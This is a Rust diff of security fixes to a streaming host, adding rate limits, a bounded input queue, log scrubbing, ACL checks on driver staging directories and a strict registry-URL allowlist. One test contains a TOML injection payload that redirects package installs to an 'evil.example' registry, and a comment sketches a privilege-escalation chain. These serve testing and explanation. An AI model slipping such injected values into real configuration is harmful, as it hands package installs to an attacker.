assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients"));
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::DELETE,
|
||||
"/api/v1/clients/aabbcc"
|
||||
));
|
||||
// A path prefix that is not a segment prefix must not match at all.
|
||||
assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses"));
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::GET,
|
||||
"/api/v1/library-secrets"
|
||||
));
|
||||
}
|
||||
|
||||
/// The OpenAPI document lists every route with a unique operationId (codegen relies
|
||||
/// on both), and the checked-in copy is current.
|
||||
#[test]
|
||||
|
||||
@@ -45,7 +45,14 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
|
||||
return Ok(v.to_string());
|
||||
}
|
||||
}
|
||||
let path = pf_paths::config_dir().join(file);
|
||||
let dir = pf_paths::config_dir();
|
||||
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config
|
||||
// path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an
|
||||
// existing token out of a directory a local user could still write means adopting whatever they
|
||||
// put there: the mgmt token IS full admin on this host, so a planted one is a handed-over
|
||||
// control plane, and it would be honoured for the life of the install.
|
||||
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
|
||||
let path = dir.join(file);
|
||||
if let Ok(contents) = fs::read_to_string(&path) {
|
||||
if let Some(tok) = parse_token(&contents, env_var) {
|
||||
return Ok(tok);
|
||||
@@ -54,9 +61,6 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
|
||||
let mut buf = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut buf);
|
||||
let token = hex::encode(buf);
|
||||
let dir = pf_paths::config_dir();
|
||||
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path.
|
||||
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
|
||||
write_token(&path, env_var, &token)?;
|
||||
tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)");
|
||||
Ok(token)
|
||||
|
||||
@@ -817,6 +817,31 @@ async fn serve_session(
|
||||
anyhow::bail!("pairing requires the client to present a certificate");
|
||||
};
|
||||
let client_fp_hex = fingerprint_hex(&client_fp);
|
||||
// The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY
|
||||
// outcome — including the rejections.
|
||||
//
|
||||
// It used to be charged only after `pin_for_attempt` returned a PIN, which made the two
|
||||
// rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at
|
||||
// unlimited rate at zero cost, learning the moment the operator opens a window and racing
|
||||
// the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker
|
||||
// one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited.
|
||||
//
|
||||
// The trade is deliberate: a peer spamming knocks can now hold the cooldown against the
|
||||
// operator's real device. That is a visible, self-limiting nuisance — the operator retries
|
||||
// — whereas the oracle was silent and gave away the window.
|
||||
{
|
||||
let mut last = last_pairing.lock().unwrap();
|
||||
if let Some(t) = *last {
|
||||
if t.elapsed() < PAIRING_COOLDOWN {
|
||||
close_rejected(
|
||||
&conn,
|
||||
punktfunk_core::reject::RejectReason::PairingRateLimited,
|
||||
);
|
||||
anyhow::bail!("pairing rate-limited — retry shortly");
|
||||
}
|
||||
}
|
||||
*last = Some(std::time::Instant::now());
|
||||
}
|
||||
// Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any
|
||||
// fingerprint binding.
|
||||
let pin = match np.pin_for_attempt(&client_fp_hex) {
|
||||
@@ -839,19 +864,6 @@ async fn serve_session(
|
||||
)
|
||||
}
|
||||
};
|
||||
{
|
||||
let mut last = last_pairing.lock().unwrap();
|
||||
if let Some(t) = *last {
|
||||
if t.elapsed() < PAIRING_COOLDOWN {
|
||||
close_rejected(
|
||||
&conn,
|
||||
punktfunk_core::reject::RejectReason::PairingRateLimited,
|
||||
);
|
||||
anyhow::bail!("pairing rate-limited — retry shortly");
|
||||
}
|
||||
}
|
||||
*last = Some(std::time::Instant::now());
|
||||
}
|
||||
return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin)
|
||||
.await
|
||||
.map(|()| Served::Session);
|
||||
@@ -1208,7 +1220,22 @@ async fn serve_session(
|
||||
// channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button
|
||||
// traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on
|
||||
// whichever arrives.
|
||||
let (input_tx, input_rx) = std::sync::mpsc::channel::<ClientInput>();
|
||||
// BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded
|
||||
// with `try_send` since security-review S6, and the three input planes had simply never been
|
||||
// given the same treatment (2026-08-05 review M-3).
|
||||
//
|
||||
// The producer is one `read_datagram` loop that can push a message per datagram; the consumer
|
||||
// handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The
|
||||
// producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue
|
||||
// the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a
|
||||
// 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or
|
||||
// any LAN peer under `--open`.
|
||||
//
|
||||
// Dropping is correct here in a way it would not be for a reliable stream: input is a
|
||||
// real-time plane where a sample that cannot be delivered promptly is already stale — the
|
||||
// freshest state wins, and the injector re-syncs from the next event.
|
||||
const INPUT_QUEUE_DEPTH: usize = 1024;
|
||||
let (input_tx, input_rx) = std::sync::mpsc::sync_channel::<ClientInput>(INPUT_QUEUE_DEPTH);
|
||||
let rich_tx = input_tx.clone();
|
||||
// The stream loop's handle into the same pipeline: it parks the seat pointer on the
|
||||
// streamed surface (stream.rs `park_pointer`) through exactly the path client input takes.
|
||||
@@ -1235,6 +1262,20 @@ async fn serve_session(
|
||||
let input_conn = conn.clone();
|
||||
tokio::spawn(async move {
|
||||
let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64);
|
||||
let mut dropped = 0u64;
|
||||
// `try_send` on a full queue drops rather than blocking this loop — blocking here would
|
||||
// stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input
|
||||
// thread having gone away, which is the one condition that ends the loop.
|
||||
let mut offer = |tx: &std::sync::mpsc::SyncSender<ClientInput>, item: ClientInput| match tx
|
||||
.try_send(item)
|
||||
{
|
||||
Ok(()) => true,
|
||||
Err(std::sync::mpsc::TrySendError::Full(_)) => {
|
||||
dropped += 1;
|
||||
true
|
||||
}
|
||||
Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false,
|
||||
};
|
||||
while let Ok(d) = input_conn.read_datagram().await {
|
||||
if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) {
|
||||
mic_count += 1;
|
||||
@@ -1249,7 +1290,7 @@ async fn serve_session(
|
||||
});
|
||||
} else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) {
|
||||
rich_count += 1;
|
||||
if rich_tx.send(ClientInput::Rich(rich)).is_err() {
|
||||
if !offer(&rich_tx, ClientInput::Rich(rich)) {
|
||||
break;
|
||||
}
|
||||
} else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) {
|
||||
@@ -1257,7 +1298,7 @@ async fn serve_session(
|
||||
// design; see punktfunk_core::quic::pen). Routed to the same input thread,
|
||||
// which owns the per-session tracker + virtual tablet.
|
||||
rich_count += 1;
|
||||
if rich_tx.send(ClientInput::Pen(pen)).is_err() {
|
||||
if !offer(&rich_tx, ClientInput::Pen(pen)) {
|
||||
break;
|
||||
}
|
||||
} else if let Some(mut ev) = InputEvent::decode(&d) {
|
||||
@@ -1273,7 +1314,7 @@ async fn serve_session(
|
||||
) {
|
||||
ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK;
|
||||
}
|
||||
if input_tx.send(ClientInput::Event(ev)).is_err() {
|
||||
if !offer(&input_tx, ClientInput::Event(ev)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -1282,6 +1323,7 @@ async fn serve_session(
|
||||
input = input_count,
|
||||
mic = mic_count,
|
||||
rich = rich_count,
|
||||
dropped,
|
||||
"client datagram stream ended"
|
||||
);
|
||||
});
|
||||
|
||||
@@ -70,6 +70,15 @@ pub(super) async fn run(
|
||||
// coalesces a well-behaved resize drag; compliant clients self-limit to ≥ 1 s).
|
||||
const MIN_SWITCH_INTERVAL: std::time::Duration = std::time::Duration::from_millis(500);
|
||||
let mut last_accepted_switch: Option<std::time::Instant> = None;
|
||||
// Speed-test probes get the same treatment as mode switches, for the same reason.
|
||||
//
|
||||
// Each probe is individually clamped (5 s, 10 Gbps) but nothing capped how many a client could
|
||||
// queue, so one could pause its own video and pin the host's uplink indefinitely by simply
|
||||
// asking again — `Reconfigure` on this very task was rate-limited and `ProbeRequest` was not
|
||||
// (2026-08-05 review L-3). One probe per 10 s is far more than a real client needs (it probes
|
||||
// at session start and on a manual speed test) and makes the channel useless as an amplifier.
|
||||
const MIN_PROBE_INTERVAL: std::time::Duration = std::time::Duration::from_secs(10);
|
||||
let mut last_probe: Option<std::time::Instant> = None;
|
||||
// Resumable framing: this read is one arm of a `select!` whose siblings fire on every probe
|
||||
// result / reconfigure / clip offer, so the read future is dropped routinely. `io::read_msg`
|
||||
// would lose the partial frame and misalign the stream for the rest of the session.
|
||||
@@ -233,6 +242,15 @@ pub(super) async fn run(
|
||||
);
|
||||
let _ = shard_ack_tx.send(ack.shard_payload);
|
||||
} else if let Ok(req) = ProbeRequest::decode(&msg) {
|
||||
let now = std::time::Instant::now();
|
||||
if last_probe.is_some_and(|t| now.duration_since(t) < MIN_PROBE_INTERVAL) {
|
||||
tracing::warn!(
|
||||
target_kbps = req.target_kbps,
|
||||
"speed-test probe rejected (rate-limited)"
|
||||
);
|
||||
continue;
|
||||
}
|
||||
last_probe = Some(now);
|
||||
tracing::info!(
|
||||
target_kbps = req.target_kbps,
|
||||
duration_ms = req.duration_ms,
|
||||
|
||||
@@ -848,11 +848,22 @@ pub(super) fn input_thread(
|
||||
// Rich input (touchpad / motion) is applied the moment it arrives; the single channel
|
||||
// wakes for gyro samples instead of making them wait out the feedback poll interval.
|
||||
Ok(ClientInput::Rich(rich)) => {
|
||||
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) {
|
||||
// Debug-only instrument: skip the whole thing unless debug logging is actually
|
||||
// enabled. It used to grow and `sort_unstable()` a Vec in the input hot loop
|
||||
// regardless, so every session paid for a measurement nobody was reading — and the
|
||||
// "bounded by a 5 s window at a plausible pad rate" reasoning was an assumption
|
||||
// about the CLIENT's send rate, not a bound the host enforced (2026-08-05 review
|
||||
// L-5). The explicit cap below makes it a bound.
|
||||
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. })
|
||||
&& tracing::enabled!(tracing::Level::DEBUG)
|
||||
{
|
||||
let now = std::time::Instant::now();
|
||||
if let Some(prev) = last_motion.replace(now) {
|
||||
let gap = now.duration_since(prev);
|
||||
if gap < std::time::Duration::from_secs(1) {
|
||||
// 30k samples is 5 s at 6 kHz — well past any real pad, and a hard stop
|
||||
// for a client that simply sends motion as fast as the link allows.
|
||||
if gap < std::time::Duration::from_secs(1) && motion_gaps_us.len() < 30_000
|
||||
{
|
||||
motion_gaps_us.push(gap.as_micros() as u32);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ use super::*;
|
||||
// The ceremony-only wire messages: imported directly (native.rs no longer references them, so they
|
||||
// were dropped from its `use` and won't come through `use super::*`). `PairRequest` still arrives
|
||||
// via the glob (serve_session decodes it).
|
||||
use crate::native_pairing::sanitize_device_name;
|
||||
use punktfunk_core::quic::{PairChallenge, PairProof, PairResult};
|
||||
|
||||
/// Pairing needs a human in the loop (reading the PIN off the host, typing it into the
|
||||
@@ -29,10 +30,19 @@ pub(super) async fn pair_ceremony(
|
||||
use punktfunk_core::quic::pake;
|
||||
let client_fp = endpoint::peer_fingerprint(conn)
|
||||
.ok_or_else(|| anyhow!("pairing requires the client to present a certificate"))?;
|
||||
let client_fp_hex = fingerprint_hex(&client_fp);
|
||||
// Scrub the wire-supplied name ONCE, here, and log only the scrubbed value from now on.
|
||||
//
|
||||
// This name arrives from an UNPAIRED device — the earliest, least authenticated input the host
|
||||
// takes — and these were the three log sites that bypassed the documented single scrubber, so
|
||||
// ANSI/C0 escapes and bidi overrides reached the operator's terminal and the journal
|
||||
// (2026-08-05 review L-2). `sanitize_device_name` is "the one place that scrubs it" by its own
|
||||
// module doc; the storage path already went through it, only the logging did not.
|
||||
let name = sanitize_device_name(&req.name, &client_fp_hex);
|
||||
|
||||
tracing::info!(
|
||||
name = %req.name,
|
||||
client = %fingerprint_hex(&client_fp),
|
||||
name = %name,
|
||||
client = %client_fp_hex,
|
||||
"PAIRING REQUEST — verifying against the armed PIN"
|
||||
);
|
||||
|
||||
@@ -74,9 +84,9 @@ pub(super) async fn pair_ceremony(
|
||||
if let Err(e) = np.add(&req.name, &fingerprint_hex(&client_fp)) {
|
||||
tracing::error!(error = %format!("{e:#}"), "could not persist paired clients");
|
||||
}
|
||||
tracing::info!(name = %req.name, "pairing complete — client trusted");
|
||||
tracing::info!(name = %name, "pairing complete — client trusted");
|
||||
} else {
|
||||
tracing::warn!(name = %req.name, "pairing rejected (wrong PIN) — fingerprint not stored");
|
||||
tracing::warn!(name = %name, "pairing rejected (wrong PIN) — fingerprint not stored");
|
||||
}
|
||||
io::write_msg(&mut send, &PairResult { ok }.encode()).await?;
|
||||
let _ = send.finish();
|
||||
|
||||
@@ -1307,7 +1307,7 @@ pub(super) struct SessionContext {
|
||||
/// The session's input pipeline (the same channel client datagrams feed) — the stream loop
|
||||
/// uses it to PARK the seat pointer on the streamed surface (see [`park_pointer`]).
|
||||
#[cfg(target_os = "linux")]
|
||||
pub(super) input_tx: std::sync::mpsc::Sender<super::input::ClientInput>,
|
||||
pub(super) input_tx: std::sync::mpsc::SyncSender<super::input::ClientInput>,
|
||||
}
|
||||
|
||||
/// Park the seat pointer at the centre of the streamed surface, through the SAME injection path
|
||||
@@ -1325,7 +1325,7 @@ pub(super) struct SessionContext {
|
||||
/// output's edge — pins the pointer to the surface the client actually sees. A desktop-model
|
||||
/// client overrides it with its first absolute move, so the jump is invisible in practice.
|
||||
#[cfg(target_os = "linux")]
|
||||
fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w: u32, h: u32) {
|
||||
fn park_pointer(input_tx: &std::sync::mpsc::SyncSender<super::input::ClientInput>, w: u32, h: u32) {
|
||||
let ev = punktfunk_core::input::InputEvent {
|
||||
kind: punktfunk_core::input::InputKind::MouseMoveAbs,
|
||||
_pad: [0; 3],
|
||||
@@ -1336,7 +1336,12 @@ fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w
|
||||
// matches the streamed output by exactly these dims.
|
||||
flags: (w << 16) | (h & 0xffff),
|
||||
};
|
||||
if input_tx.send(super::input::ClientInput::Event(ev)).is_ok() {
|
||||
// `try_send`, matching the bounded input queue (2026-08-05 review M-3): parking is a
|
||||
// best-effort nicety and must never block the stream loop behind a full input backlog.
|
||||
if input_tx
|
||||
.try_send(super::input::ClientInput::Event(ev))
|
||||
.is_ok()
|
||||
{
|
||||
tracing::info!(
|
||||
w,
|
||||
h,
|
||||
|
||||
@@ -137,6 +137,49 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
|
||||
out
|
||||
}
|
||||
|
||||
/// A registry URL that is safe to write into a hand-formatted TOML string, and plausible as a
|
||||
/// registry: absolute https, bounded, and built only from characters that appear in a real URL.
|
||||
///
|
||||
/// Deliberately a strict allowlist rather than "reject quotes and newlines" — the failure this
|
||||
/// guards is TOML injection, and a denylist of the delimiters someone remembers is how the original
|
||||
/// `starts_with("https://")` check came to be the only guard at all. No quote, no whitespace, no
|
||||
/// control character, no backslash can pass, so `"{scope}" = "{url}"` cannot be closed early.
|
||||
fn valid_registry_url(url: &str) -> bool {
|
||||
let Some(rest) = url.strip_prefix("https://") else {
|
||||
return false;
|
||||
};
|
||||
!rest.is_empty()
|
||||
&& url.len() <= 512
|
||||
&& rest.chars().all(|c| {
|
||||
c.is_ascii_alphanumeric()
|
||||
|| matches!(
|
||||
c,
|
||||
'-' | '.'
|
||||
| '_'
|
||||
| '~'
|
||||
| ':'
|
||||
| '/'
|
||||
| '?'
|
||||
| '#'
|
||||
| '['
|
||||
| ']'
|
||||
| '@'
|
||||
| '!'
|
||||
| '$'
|
||||
| '&'
|
||||
| '\''
|
||||
| '('
|
||||
| ')'
|
||||
| '*'
|
||||
| '+'
|
||||
| ','
|
||||
| ';'
|
||||
| '='
|
||||
| '%'
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
/// Point a package scope at its registry in the plugins dir's `bunfig.toml`.
|
||||
///
|
||||
/// The runner CLI can do this too (`--registry @scope=URL`), but the store must **not** depend on
|
||||
@@ -149,9 +192,17 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
|
||||
/// Idempotent and non-destructive, matching `sdk/src/plugins.ts::ensureBunfig`: a scope already
|
||||
/// mapped to this URL is left alone, one mapped elsewhere is rewritten, unrelated content survives.
|
||||
pub(crate) fn ensure_bunfig_scope(dir: &Path, scope: &str, url: &str) -> Result<()> {
|
||||
// The scope and URL both come from a signature-verified, field-validated index entry
|
||||
// (`@`-prefixed, `[a-z0-9._-]`, https), so neither can smuggle a quote or newline into the TOML.
|
||||
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !url.starts_with("https://") {
|
||||
// Both halves are hand-formatted into TOML below (`"{scope}" = "{url}"`), so both must be
|
||||
// proven unable to close the quote.
|
||||
//
|
||||
// The scope always was. The URL was not: its only guard was `starts_with("https://")`, and
|
||||
// `Entry::registry` — unlike `title`/`description`/`author`/`version` — never goes through
|
||||
// `sanitize`, so everything after the prefix arrived verbatim. A catalog entry whose registry
|
||||
// read `https://ok/"\n[install]\nregistry = "https://evil/` injected a top-level `[install]`
|
||||
// table into the file that tells `bun` where to fetch EVERY package from — and it persists
|
||||
// after the source is deleted, because nothing rewrites this file (2026-08-05 review M-7).
|
||||
// Sources may be unsigned, so "it came from a verified index" was not a guarantee either.
|
||||
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !valid_registry_url(url) {
|
||||
bail!("refusing to map scope `{scope}` to `{url}`");
|
||||
}
|
||||
std::fs::create_dir_all(dir).with_context(|| format!("create {}", dir.display()))?;
|
||||
@@ -679,6 +730,49 @@ mod tests {
|
||||
assert!(!dir.path().join("bunfig.toml").exists());
|
||||
}
|
||||
|
||||
/// TOML injection through the registry URL (2026-08-05 review M-7). `Entry::registry` never
|
||||
/// goes through `sanitize`, and the old guard was a bare `starts_with("https://")` — so
|
||||
/// everything after the prefix reached a hand-formatted `"{scope}" = "{url}"` verbatim. The
|
||||
/// payload that mattered injects a top-level `[install]` table, redirecting every subsequent
|
||||
/// package resolution, and survives deletion of the source that introduced it.
|
||||
#[test]
|
||||
fn bunfig_registry_url_cannot_inject_a_toml_table() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let injection = "https://ok.example/\"\n[install]\nregistry = \"https://evil.example/";
|
||||
assert!(
|
||||
ensure_bunfig_scope(dir.path(), "@x", injection).is_err(),
|
||||
"a registry URL that closes the TOML string must be refused"
|
||||
);
|
||||
assert!(!dir.path().join("bunfig.toml").exists());
|
||||
|
||||
// The individual characters that make it possible, each on its own.
|
||||
for bad in [
|
||||
"https://e/\"quote",
|
||||
"https://e/\nnewline",
|
||||
"https://e/\rcarriage",
|
||||
"https://e/ space",
|
||||
"https://e/\ttab",
|
||||
"https://e/back\\slash",
|
||||
"https://e/nul\0byte",
|
||||
] {
|
||||
assert!(
|
||||
ensure_bunfig_scope(dir.path(), "@x", bad).is_err(),
|
||||
"must refuse registry URL {bad:?}"
|
||||
);
|
||||
}
|
||||
// Real registry URLs — including ports, query strings and percent-escapes — still pass.
|
||||
for good in [
|
||||
"https://git.unom.io/api/packages/unom/npm/",
|
||||
"https://registry.example.com:8443/npm/",
|
||||
"https://example.com/npm/?token=abc%20def",
|
||||
] {
|
||||
assert!(
|
||||
ensure_bunfig_scope(dir.path(), "@x", good).is_ok(),
|
||||
"must accept registry URL {good:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// The name-shape guard is necessary but NOT sufficient — see `mgmt::store::uninstall_plugin`.
|
||||
///
|
||||
/// `@punktfunk/plugin-kit` is a plugin's *framework*, and it satisfies every syntactic rule
|
||||
|
||||
@@ -61,6 +61,22 @@ pub fn driver_main(args: &[String]) -> Result<()> {
|
||||
fn driver_install(args: &[String]) -> Result<()> {
|
||||
let dir =
|
||||
PathBuf::from(flag_val(args, "--dir").context("driver install: --dir <stage> required")?);
|
||||
// Everything below this line runs with the caller's privileges — which, on the installer path,
|
||||
// are SYSTEM/Administrator — and it does three things with the CONTENTS of `dir`: trusts a
|
||||
// `.cer` into the machine `Root` store, runs `nefconc.exe` from it, and stages an `.inf` into
|
||||
// the driver store. So the directory is not merely an input, it is code and trust; a stage a
|
||||
// non-admin can write is a local privilege escalation, whoever passed the flag.
|
||||
//
|
||||
// This is the check the 2026-07-05 audit recorded as FIXED (F-8) and which was never actually
|
||||
// in the tree — re-found by the 2026-08-05 review as H-5, and the payload half of H-4's
|
||||
// plant-then-elevate chain (`PUNKTFUNK_HOST_CMD=driver install --dir C:\Users\attacker\stage`).
|
||||
ensure_admin_only_source(&dir).with_context(|| {
|
||||
format!(
|
||||
"refusing to install drivers from {} — the staging directory must be writable only by \
|
||||
SYSTEM/Administrators",
|
||||
dir.display()
|
||||
)
|
||||
})?;
|
||||
let gamepad = flag_present(args, "--gamepad");
|
||||
let (what, res) = if gamepad {
|
||||
("gamepad", install_gamepad(&dir))
|
||||
@@ -74,6 +90,163 @@ fn driver_install(args: &[String]) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Refuse a driver staging directory that anyone but SYSTEM/Administrators can write.
|
||||
///
|
||||
/// Two conditions, both necessary:
|
||||
/// - the directory is **owned** by SYSTEM, Administrators, or TrustedInstaller — an owner always
|
||||
/// retains `WRITE_DAC`, so a non-admin owner can put their own access back no matter what the
|
||||
/// DACL currently says;
|
||||
/// - no **allow** ACE grants a write-shaped right to any trustee outside that same set. `CREATOR
|
||||
/// OWNER` counts as outside: on a directory a non-admin pre-created under `C:\ProgramData`, it is
|
||||
/// precisely what keeps handing them control of everything inside.
|
||||
///
|
||||
/// Reads the security descriptor directly rather than parsing `icacls` output, which prints
|
||||
/// *localized account names* — the same class of locale trap this whole module exists to avoid.
|
||||
#[cfg(windows)]
|
||||
fn ensure_admin_only_source(dir: &Path) -> Result<()> {
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
use windows::core::PCWSTR;
|
||||
use windows::Win32::Foundation::{LocalFree, HLOCAL};
|
||||
use windows::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT};
|
||||
use windows::Win32::Security::{
|
||||
EqualSid, GetAce, IsValidSid, ACCESS_ALLOWED_ACE, ACE_HEADER, ACL,
|
||||
DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID,
|
||||
};
|
||||
|
||||
const ACCESS_ALLOWED_ACE_TYPE: u8 = 0;
|
||||
/// Rights that let a trustee change what we are about to trust and execute: write/append data,
|
||||
/// write attributes/EA, delete (incl. child delete), and the two that let them rewrite the
|
||||
/// security descriptor itself. `GENERIC_WRITE`/`GENERIC_ALL` map onto these once mapped, and
|
||||
/// both generic bits are checked explicitly in case an ACE stores them unmapped.
|
||||
const WRITE_MASK: u32 = 0x0000_0002 // FILE_WRITE_DATA / FILE_ADD_FILE
|
||||
| 0x0000_0004 // FILE_APPEND_DATA / FILE_ADD_SUBDIRECTORY
|
||||
| 0x0000_0010 // FILE_WRITE_EA
|
||||
| 0x0000_0100 // FILE_WRITE_ATTRIBUTES
|
||||
| 0x0000_0040 // FILE_DELETE_CHILD
|
||||
| 0x0001_0000 // DELETE
|
||||
| 0x0004_0000 // WRITE_DAC
|
||||
| 0x0008_0000 // WRITE_OWNER
|
||||
| 0x1000_0000 // GENERIC_ALL
|
||||
| 0x4000_0000; // GENERIC_WRITE
|
||||
|
||||
if !dir.is_dir() {
|
||||
bail!("{} is not a directory", dir.display());
|
||||
}
|
||||
let wide: Vec<u16> = dir
|
||||
.as_os_str()
|
||||
.encode_wide()
|
||||
.chain(std::iter::once(0))
|
||||
.collect();
|
||||
|
||||
let mut owner = PSID::default();
|
||||
let mut dacl: *mut ACL = std::ptr::null_mut();
|
||||
let mut sd = PSECURITY_DESCRIPTOR::default();
|
||||
// SAFETY: `wide` is NUL-terminated and outlives the call; the out-params are live locals; the
|
||||
// returned descriptor is the single allocation, LocalFree'd below (owner/dacl point into it).
|
||||
let rc = unsafe {
|
||||
GetNamedSecurityInfoW(
|
||||
PCWSTR(wide.as_ptr()),
|
||||
SE_FILE_OBJECT,
|
||||
OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
|
||||
Some(&mut owner),
|
||||
None,
|
||||
Some(&mut dacl),
|
||||
None,
|
||||
&mut sd,
|
||||
)
|
||||
};
|
||||
|
||||
let verdict = (|| -> Result<()> {
|
||||
rc.ok().context("GetNamedSecurityInfoW(owner + DACL)")?;
|
||||
let privileged = privileged_sids()?;
|
||||
// SAFETY: `owner` points into the descriptor returned above and is valid for this scope.
|
||||
let is_privileged = |sid: PSID| -> bool {
|
||||
if sid.is_invalid() || !unsafe { IsValidSid(sid) }.as_bool() {
|
||||
return false;
|
||||
}
|
||||
privileged
|
||||
.iter()
|
||||
.any(|p| unsafe { EqualSid(sid, PSID(p.as_ptr().cast_mut().cast())) }.is_ok())
|
||||
};
|
||||
|
||||
if !is_privileged(owner) {
|
||||
bail!(
|
||||
"the directory is owned by a non-administrative account, which retains WRITE_DAC \
|
||||
and can restore its own access at any time"
|
||||
);
|
||||
}
|
||||
// A NULL DACL grants everyone everything; an absent one is not "no access".
|
||||
if dacl.is_null() {
|
||||
bail!("the directory has a NULL DACL (everyone has full control)");
|
||||
}
|
||||
// SAFETY: `dacl` is a valid ACL inside the descriptor; AceCount bounds the GetAce index.
|
||||
let count = unsafe { (*dacl).AceCount };
|
||||
for i in 0..count as u32 {
|
||||
let mut ace: *mut core::ffi::c_void = std::ptr::null_mut();
|
||||
// SAFETY: i < AceCount, and `ace` is a live out-param.
|
||||
unsafe { GetAce(dacl, i, &mut ace) }.context("GetAce")?;
|
||||
// SAFETY: every ACE starts with an ACE_HEADER.
|
||||
let header = unsafe { *(ace as *const ACE_HEADER) };
|
||||
if header.AceType != ACCESS_ALLOWED_ACE_TYPE {
|
||||
continue; // deny ACEs only ever subtract; audit ACEs grant nothing
|
||||
}
|
||||
// SAFETY: an allow ACE is an ACCESS_ALLOWED_ACE, whose SidStart begins the trustee SID.
|
||||
let allowed = unsafe { &*(ace as *const ACCESS_ALLOWED_ACE) };
|
||||
if allowed.Mask & WRITE_MASK == 0 {
|
||||
continue; // read-only for this trustee — harmless
|
||||
}
|
||||
let sid = PSID(std::ptr::addr_of!(allowed.SidStart) as *mut core::ffi::c_void);
|
||||
if !is_privileged(sid) {
|
||||
bail!(
|
||||
"a non-administrative trustee has write access (ACE {i}, mask {:#010x}) — \
|
||||
anything staged here can be replaced before it is trusted or executed",
|
||||
allowed.Mask
|
||||
);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
})();
|
||||
|
||||
// SAFETY: `sd` is the single LocalAlloc'd descriptor GetNamedSecurityInfoW returned.
|
||||
unsafe {
|
||||
let _ = LocalFree(Some(HLOCAL(sd.0)));
|
||||
}
|
||||
verdict
|
||||
}
|
||||
|
||||
/// The SIDs allowed to own or write a driver staging directory: `SYSTEM`, `BUILTIN\Administrators`,
|
||||
/// and `TrustedInstaller` (which owns much of `%ProgramFiles%`, a perfectly good stage).
|
||||
#[cfg(windows)]
|
||||
fn privileged_sids() -> Result<Vec<Vec<u8>>> {
|
||||
use windows::core::PCWSTR;
|
||||
use windows::Win32::Foundation::{LocalFree, HLOCAL};
|
||||
use windows::Win32::Security::Authorization::ConvertStringSidToSidW;
|
||||
use windows::Win32::Security::{GetLengthSid, PSID};
|
||||
|
||||
[
|
||||
"S-1-5-18",
|
||||
"S-1-5-32-544",
|
||||
"S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464",
|
||||
]
|
||||
.iter()
|
||||
.map(|s| {
|
||||
let wide: Vec<u16> = s.encode_utf16().chain(std::iter::once(0)).collect();
|
||||
let mut psid = PSID::default();
|
||||
// SAFETY: `wide` is NUL-terminated and outlives the call; psid is a live out-param.
|
||||
unsafe { ConvertStringSidToSidW(PCWSTR(wide.as_ptr()), &mut psid) }
|
||||
.with_context(|| format!("ConvertStringSidToSidW({s})"))?;
|
||||
// SAFETY: psid is a valid SID; copy it out so the caller owns plain bytes.
|
||||
let len = unsafe { GetLengthSid(psid) } as usize;
|
||||
let bytes = unsafe { std::slice::from_raw_parts(psid.0 as *const u8, len) }.to_vec();
|
||||
// SAFETY: ConvertStringSidToSidW allocates with LocalAlloc.
|
||||
unsafe {
|
||||
let _ = LocalFree(Some(HLOCAL(psid.0)));
|
||||
}
|
||||
Ok(bytes)
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The subject CN both driver-signing certs carry (`build-pf-vdisplay.ps1` /
|
||||
/// `build-gamepad-drivers.ps1`). certutil matches a CertId against the subject, so this is how we
|
||||
/// find our own certs again without parsing any localized output — see `purge_driver_certs`.
|
||||
@@ -454,7 +627,12 @@ fn web_setup(args: &[String]) -> Result<()> {
|
||||
